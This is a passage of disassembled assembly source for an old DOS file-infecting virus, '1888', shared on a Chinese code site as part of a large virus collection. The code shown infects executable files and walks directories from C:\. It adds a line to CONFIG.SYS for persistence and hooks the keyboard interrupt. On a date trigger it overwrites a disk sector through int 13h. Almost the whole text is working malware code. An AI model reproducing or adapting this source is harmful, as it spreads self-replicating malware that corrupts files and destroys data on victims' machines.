1888.asm

来自「More than 800 virus code (old school) ju」· 汇编 代码 · 共 1,924 行 · 第 1/4 页

ASM
1,924
字号
		mov	ds:d_9E01_0004_e,ax
		mov	ax,4200h
		xor	dx,dx			; Zero register
		xor	cx,cx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		jc	loc_0BB7		; Jump if carry Set
		mov	cx,100h
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
loc_0BB7:
		pop	ds
		retn
sub_0B1D	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0BB9	proc	near
		mov	ax,4202h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	di,ax
		and	di,1FFh
		mov	cl,9
		shr	ax,cl			; Shift w/zeros fill
		mov	cl,7
		shl	dx,cl			; Shift w/zeros fill
		add	ax,dx
		inc	ax
		retn
sub_0BB9	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0BD4	proc	near
		mov	ax,data_0108
		mov	data_0120,ax
		mov	cx,data_011C
		cmp	cx,ax
		jb	loc_0BEA		; Jump if below
		mov	data_0120,cx
		mov	cx,data_0108
loc_0BEA:
		push	ds
		mov	ax,word ptr data_012C+2
		mov	ds,ax
		xor	dx,dx			; Zero register
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		pop	ds
		jc	loc_ret_0C3F		; Jump if carry Set
		mov	ax,4200h
		xor	dx,dx			; Zero register
		xor	cx,cx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		jc	loc_ret_0C3F		; Jump if carry Set
		mov	dx,100h
		mov	cx,data_011C
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		jc	loc_ret_0C3F		; Jump if carry Set
		cmp	ax,data_0108
		ja	loc_0C2E		; Jump if above
		mov	ax,4200h
		mov	dx,data_0108
		mov	data_0120,dx
		xor	cx,cx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		jc	loc_ret_0C3F		; Jump if carry Set
		mov	cx,data_011C
		jmp	short loc_0C32
loc_0C2E:
		mov	cx,data_0108
loc_0C32:
		push	ds
		mov	ax,word ptr data_012C+2
		mov	ds,ax
		xor	dx,dx			; Zero register
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		pop	ds

loc_ret_0C3F:
		retn
sub_0BD4	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0C40	proc	near
		cmp	data_011B,2
		ja	loc_0C4A		; Jump if above
		xor	ax,ax			; Zero register
		retn
loc_0C4A:
		mov	al,data_0133
		and	al,1
		retn
sub_0C40	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0C50	proc	near
		cmp	data_0133,0Fh
		jb	loc_0C69		; Jump if below
		mov	al,data_0135
		cmp	al,13h
		jb	loc_0C69		; Jump if below
		mov	ax,40h
		mov	es,ax
		mov	byte ptr es:d_0040_004A_e,23h	; '#'
loc_0C69:
		cmp	data_0133,0Dh
		jne	loc_ret_0C86		; Jump if not equal
		cmp	data_0134,5
		jne	loc_ret_0C86		; Jump if not equal
		mov	ax,301h
		mov	cx,1
		mov	dx,50h
		xor	bx,bx			; Zero register
		mov	es,bx
		int	13h			; Disk  dl=drive ?  ah=func 03h
						;  write sectors from mem es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head

loc_ret_0C86:
		retn
sub_0C50	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0C87	proc	near
		mov	data_019B,1
		lea	dx,data_05C1		; Load effective addr
		mov	cx,27h
		mov	ah,4Eh			; 'N'
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		jnc	loc_0CC6		; Jump if carry=0
		mov	ah,3Ch			; '<'
		mov	cx,6
		int	21h			; DOS Services  ah=function 3Ch
						;  create/truncate file @ ds:dx
		mov	bx,ax
		lea	dx,data_05EE		; Load effective addr
		mov	cx,data_070A
		mov	si,dx
		add	si,data_00B3_e
		mov	ax,data_0130
		mov	[si],ax
		mov	ah,data_0132
		mov	[si+2],ah
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		jc	loc_0D1F		; Jump if carry Set
loc_0CC6:
		lea	dx,data_05C7		; ('C:\CONFIG.SYS') Load effective add
		mov	cx,27h
		mov	ah,4Eh			; 'N'
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		jc	loc_0D1F		; Jump if carry Set
		call	sub_0ACE
		xor	cx,cx			; Zero register
		mov	ax,4301h
		int	21h			; DOS Services  ah=function 43h
						;  set attrb cx, filename @ds:dx
		mov	ax,3D02h
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		mov	bx,ax
		jc	loc_0D1F		; Jump if carry Set
		mov	cx,data_0108
		push	es
		push	ds
		mov	ax,word ptr data_012C+2
		mov	ds,ax
		mov	es,ax
		xor	dx,dx			; Zero register
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		pop	ds
		mov	dx,ax
		mov	ax,0FFFFh
		xor	di,di			; Zero register
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		cmp	ax,es:[di-1]
		pop	es
		jz	loc_0D1F		; Jump if zero
		mov	ax,4200h
		xor	cx,cx			; Zero register
		dec	dx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		jc	loc_0D1F		; Jump if carry Set
		lea	dx,data_05D5		; ('DEVICE =') Load effective addr
		mov	cx,19h
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
loc_0D1F:
		call	sub_0ADF
		retn
sub_0C87	endp

		inc	bx
		cmp	bl,[si-1]
		inc	word ptr [bx+si]
		inc	bx
		cmp	bl,[si+43h]
		dec	di
		dec	si
		inc	si
		dec	cx
		inc	di
		db	 2Eh, 53h, 59h, 53h, 00h
		db	'DEVICE ='
		db	0FFh,0FFh
		db	' COUNTRY.SYS', 0Dh, 0Ah
		db	 1Ah,0FFh,0FFh,0FFh,0FFh, 40h
		db	0C8h, 16h, 00h, 21h, 00h
		db	'hgt42   '
		db	 00h, 00h, 00h, 00h, 2Eh, 89h
		db	 1Eh, 12h, 00h, 2Eh, 8Ch, 06h
		db	 14h, 00h,0CBh, 1Eh, 06h, 0Eh
		db	 1Fh,0C4h, 3Eh, 12h, 00h, 26h
		db	 8Ah, 45h, 02h, 3Ch, 00h, 75h
		db	 03h,0E8h, 82h, 00h
		db	 0Dh, 00h, 10h, 26h, 89h, 45h
		db	 03h, 07h, 1Fh,0CBh, 50h, 53h
		db	 51h, 1Eh
		db	0E4h, 60h,0A8h, 80h, 75h, 30h
		db	 2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah
		db	0C7h, 75h, 27h,0B8h, 40h, 00h
		db	 8Eh,0D8h,0E8h, 28h, 00h, 25h
		db	 05h, 00h, 8Bh,0C8h
		db	0BBh, 1Ch, 00h

locloop_0DB1:
		mov	ax,cs:data_00A9_e
		mov	[bx],ax
		add	bx,2
		cmp	bx,3Fh
		jb	loc_0DC2		; Jump if below
		mov	bx,1Eh
loc_0DC2:
		mov	word ptr ds:[1Ch],bx
		loop	locloop_0DB1		; Loop if cx > 0

loc_0DC8:
		pop	ds
		pop	cx
		pop	bx
		pop	ax
		jmp	dword ptr cs:data_00A3_e

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0DD1	proc	near
		mov	ax,cs:data_00A7_e
		push	ax
		and	ah,0B4h
		pop	ax
		jp	loc_0DDD		; Jump if parity=1
		stc				; Set carry flag
loc_0DDD:
		rcl	ax,1			; Rotate thru carry
		mov	cs:data_00A7_e,ax
		retn
sub_0DD1	endp

		db	'hgt42   '
		db	 00h, 56h, 31h, 00h, 46h, 52h
		db	 44h, 00h, 00h, 00h, 00h, 00h
		db	 00h, 65h, 12h, 65h, 73h, 74h
		db	 6Eh, 12h, 1Fh, 14h, 31h,0CDh
		db	0ABh,0EFh
		db	 06h, 57h,0B4h, 2Ah,0CDh, 21h
		db	 8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h
		db	 74h, 03h, 80h,0C4h
		db	0Ch
loc_0E17:
		sub	ah,ds:data_00B5_e
		cmp	ah,3
		jb	loc_0E5D		; Jump if below
		mov	ds:data_00B5_e,dh
		mov	ds:data_00B3_e,cx
		mov	ah,2Ch			; ','
		int	21h			; DOS Services  ah=function 2Ch
						;  get time, cx=hrs/min, dx=sec
		mov	ds:data_00A7_e,dx
		call	sub_0DD1
		mov	bx,ax
		and	bx,3
		nop				;*ASM fixup - sign extn byte
		mov	al,ds:data_00AB_e[bx]
		mov	ah,ds:data_00AF_e[bx]
		mov	ds:data_00A9_e,ax
		mov	ax,3516h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	ds:data_00A3_e,bx
		mov	bx,es
		mov	word ptr ds:data_00A3_e+2,bx
		cli				; Disable interrupts
;*		mov	dx,offset loc_003E	;*
		db	0BAh, 3Eh, 00h
		mov	ax,2516h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		sti				; Enable interrupts
loc_0E5D:
		pop	di
		pop	es
		mov	word ptr es:[di+0Eh],0B6h
		mov	es:[di+10h],cs
		xor	ax,ax			; Zero register
		retn
		db	1Ch
		db	 01h, 8Bh, 1Eh, 28h, 01h,0A1h
		db	 26h, 01h, 8Eh,0D0h, 8Bh, 26h
		db	 24h, 01h, 83h,0ECh, 04h, 8Bh
		db	0F4h, 80h, 3Eh, 1Fh, 01h, 00h
		db	 75h, 28h,0BFh, 00h, 01h, 36h
		db	 89h, 3Ch, 8Bh,0FBh, 36h, 89h
		db	 7Ch, 02h, 33h,0FFh, 36h, 89h
		db	 7Ch, 04h
		db	0BFh, 00h, 01h, 8Bh, 36h, 22h
		db	 01h, 03h,0F7h, 8Bh, 0Eh, 1Ch
		db	 01h, 8Ch,0D8h, 8Eh,0C0h,0F3h
		db	0A4h,0EBh, 16h, 90h
loc_0EAF:
		mov	di,bx
		add	di,10h
		mov	ax,ds:data_0016_e
		add	di,ax
		mov	ss:[si+2],di
		mov	di,word ptr ds:data_0012_e+2
		mov	ss:[si],di
loc_0EC4:
		mov	ds,bx
		mov	es,bx
		retf				; Return far
		db	 8Ch,0D0h, 2Eh,0A3h, 26h, 01h
		db	 2Eh, 89h, 26h, 24h, 01h, 8Ch
		db	0C8h, 8Eh,0D0h,0BCh,0F7h, 01h
		db	 1Eh, 8Eh,0D8h, 58h,0A3h, 28h
		db	 01h,0E8h,0E6h,0FAh, 8Ch,0C8h
		db	 8Eh,0C0h,0E8h, 6Dh,0FAh
		db	0BAh, 9Dh, 01h,0B4h, 1Ah,0CDh
		db	 21h,0E8h, 1Bh,0FBh,0E8h, 0Eh
		db	0FBh, 73h, 03h,0E9h, 9Eh, 00h
loc_0EFE:
		call	sub_0989
		jc	loc_0F06		; Jump if carry Set
		jmp	loc_0F9C
loc_0F06:
		call	sub_099C
		call	sub_0A32
		mov	data_011E,0
loc_0F11:
		call	sub_0AB7
		jc	loc_0F62		; Jump if carry Set
loc_0F16:
		cmp	data_019C,4
		ja	loc_0F9C		; Jump if above
		call	sub_0ACE
		call	sub_0AAF
		jnc	loc_0F5C		; Jump if carry=0
		cmp	data_010A,4
		ja	loc_0F5C		; Jump if above
		call	sub_0B08
		jc	loc_0F9C		; Jump if carry Set
		cmp	data_011E,0
		je	loc_0F3D		; Jump if equal
		call	sub_0B1D
		jmp	short loc_0F40
loc_0F3D:
		call	sub_0BD4
loc_0F40:
		call	sub_0ADF
		jc	loc_0F9C		; Jump if carry Set
		inc	data_019C
		cmp	data_019B,1
		je	loc_0F5C		; Jump if equal
		call	sub_0C40
		jz	loc_0F5C		; Jump if zero
		call	sub_0C87
		jc	loc_0F9C		; Jump if carry Set
		jmp	short loc_0F11
loc_0F5C:
		mov	ah,4Fh			; 'O'
		int	21h			; DOS Services  ah=function 4Fh
						;  find next filename match
		jnc	loc_0F16		; Jump if carry=0
loc_0F62:
		cmp	data_011E,1
		je	loc_0F70		; Jump if equal
		mov	data_011E,1
		jmp	short loc_0F11
loc_0F70:
		mov	data_011E,0
		cmp	data_019A,0
		jne	loc_0F8B		; Jump if not equal
		lea	dx,data_015A		; ('C:\') Load effective addr
		mov	ah,3Bh			; ';'
		int	21h			; DOS Services  ah=function 3Bh
						;  set current dir, path @ ds:dx
		mov	data_019A,0FFh
		jmp	short loc_0F11
loc_0F8B:
		cmp	data_0182,0
		je	loc_0F9C		; Jump if equal
		call	sub_0A8A
		dec	data_0182
		jmp	loc_0F11
loc_0F9C:
		lea	dx,data_013A		; ('\DANGER\1888') Load effective addr
		mov	ah,3Bh			; ';'
		int	21h			; DOS Services  ah=function 3Bh
						;  set current dir, path @ ds:dx
		call	sub_0C40
		jz	loc_0FAC		; Jump if zero
		call	sub_0C50
loc_0FAC:
		mov	ax,word ptr data_012C+2
		mov	es,ax
		mov	cx,5Bh
		mov	si,offset data_070C
		xor	di,di			; Zero register
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		call	sub_09EE
		call	data_012C

seg_a		ends



		end	start

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?